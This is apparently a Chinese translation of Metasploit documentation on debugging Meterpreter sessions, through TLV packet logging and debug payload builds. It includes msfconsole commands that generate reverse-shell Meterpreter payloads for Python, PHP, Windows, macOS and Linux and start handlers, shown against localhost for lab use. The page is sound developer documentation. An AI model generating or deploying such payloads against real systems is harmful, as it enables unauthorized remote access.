调试Meterpreter会话
目前有两种主要方法来调试 Meterpreter 会话:
- 记录 msfconsole 和 Meterpreter 之间的所有网络请求,即 TLV 数据包。
- 生成一个带有额外日志记录的自定义 Meterpreter 调试版本。
一、记录 Meterpreter 的 TLV 数据包
此功能可以用于任何 Meterpreter 会话,并且不需要 Metasploit 的调试版本:
msf6 > setg SessionTlvLogging true
SessionTlvLogging => true
允许设置为以下值:
setg SessionTlvLogging true
- 启用网络日志记录,默认为输出到控制台setg SessionTlvLogging false
- 禁用所有网络日志记录setg SessionTlvLogging console
- 将日志记录到当前的 msfconsole 实例setg SessionTlvLogging file:/tmp/session.txt
- 将网络流量日志写入指定的文件
输出示例:
meterpreter > getenv USER
SEND: #<Rex::Post::Meterpreter::Packet type=Request tlvs=[
#<Rex::Post::Meterpreter::Tlv type=COMMAND_ID meta=INT value=1052 command=stdapi_sys_config_getenv>
#<Rex::Post::Meterpreter::Tlv type=REQUEST_ID meta=STRING value="73717259684850511890564936718272">
#<Rex::Post::Meterpreter::Tlv type=ENV_VARIABLE meta=STRING value="USER">
]>
RECV: #<Rex::Post::Meterpreter::Packet type=Response tlvs=[
#<Rex::Post::Meterpreter::Tlv type=UUID meta=RAW value="Q\xE63_onC\x9E\xD71\xDE3\xB5Q\xE24">
#<Rex::Post::Meterpreter::Tlv type=COMMAND_ID meta=INT value=1052 command=stdapi_sys_config_getenv>
#<Rex::Post::Meterpreter::Tlv type=REQUEST_ID meta=STRING value="73717259684850511890564936718272">
#<Rex::Post::Meterpreter::Tlv type=RESULT meta=INT value=0>
#<Rex::Post::Meterpreter::GroupTlv type=ENV_GROUP tlvs=[
#<Rex::Post::Meterpreter::Tlv type=ENV_VARIABLE meta=STRING value="USER">
#<Rex::Post::Meterpreter::Tlv type=ENV_VALUE meta=STRING value="demo_user">
]>
]>
Environment Variables
=====================
Variable Value
-------- -----
USER demo_user
二、Meterpreter 调试版本
生成 Meterpreter payload 时可以指定以下选项:
MeterpreterDebugBuild
- 设置为 true 时,生成的 Meterpreter payload 将包含额外的日志记录。MeterpreterDebugLogging
- 配置日志记录模式。目前只支持将日志写入远程主机上的文件。需要将MeterpreterDebugBuild
设置为 true。示例值:setg MeterpreterDebugLogging rpath:/tmp/meterpreter_log.txt
MeterpreterTryToFork
- 设置为 true 时,Meterpreter payload 将尝试从当前运行的进程中分叉。设置为 false 有助于查看发生的任何标准输出日志。
调试版本会包含额外的日志语句,因此可能会更容易被检测到。这些调试版本适用于 A/V 不运行的环境、用于学习的本地实验室,或者用于报告 Metasploit 问题等场景。
Python
use payload/python/meterpreter_reverse_tcp
generate -o shell.py -f raw lhost=127.0.0.1 MeterpreterDebugBuild=true MeterpreterTryToFork=false
to_handler
python3 shell.py
PHP
use payload/php/meterpreter_reverse_http
generate -o shell.php -f raw lhost=127.0.0.1 MeterpreterDebugBuild=true
to_handler
php shell_http.php
Windows
use windows/x64/meterpreter_reverse_tcp
generate -f exe -o shell.exe MeterpreterDebugBuild=true MeterpreterDebugLogging='rpath:C:/Windows/Temp/foo.txt'
to_handler
Mac
use osx/x64/meterpreter_reverse_tcp
generate -f macho -o shell MeterpreterDebugbuild=true MeterpreterDebugLogging='rpath:/tmp/foo.txt'
to_handler
Linux
use linux/x64/meterpreter_reverse_tcp
generate -f elf -o shell MeterpreterDebugbuild=true MeterpreterDebugLogging='rpath:/tmp/foo.txt'
to_handler
Java
功能不支持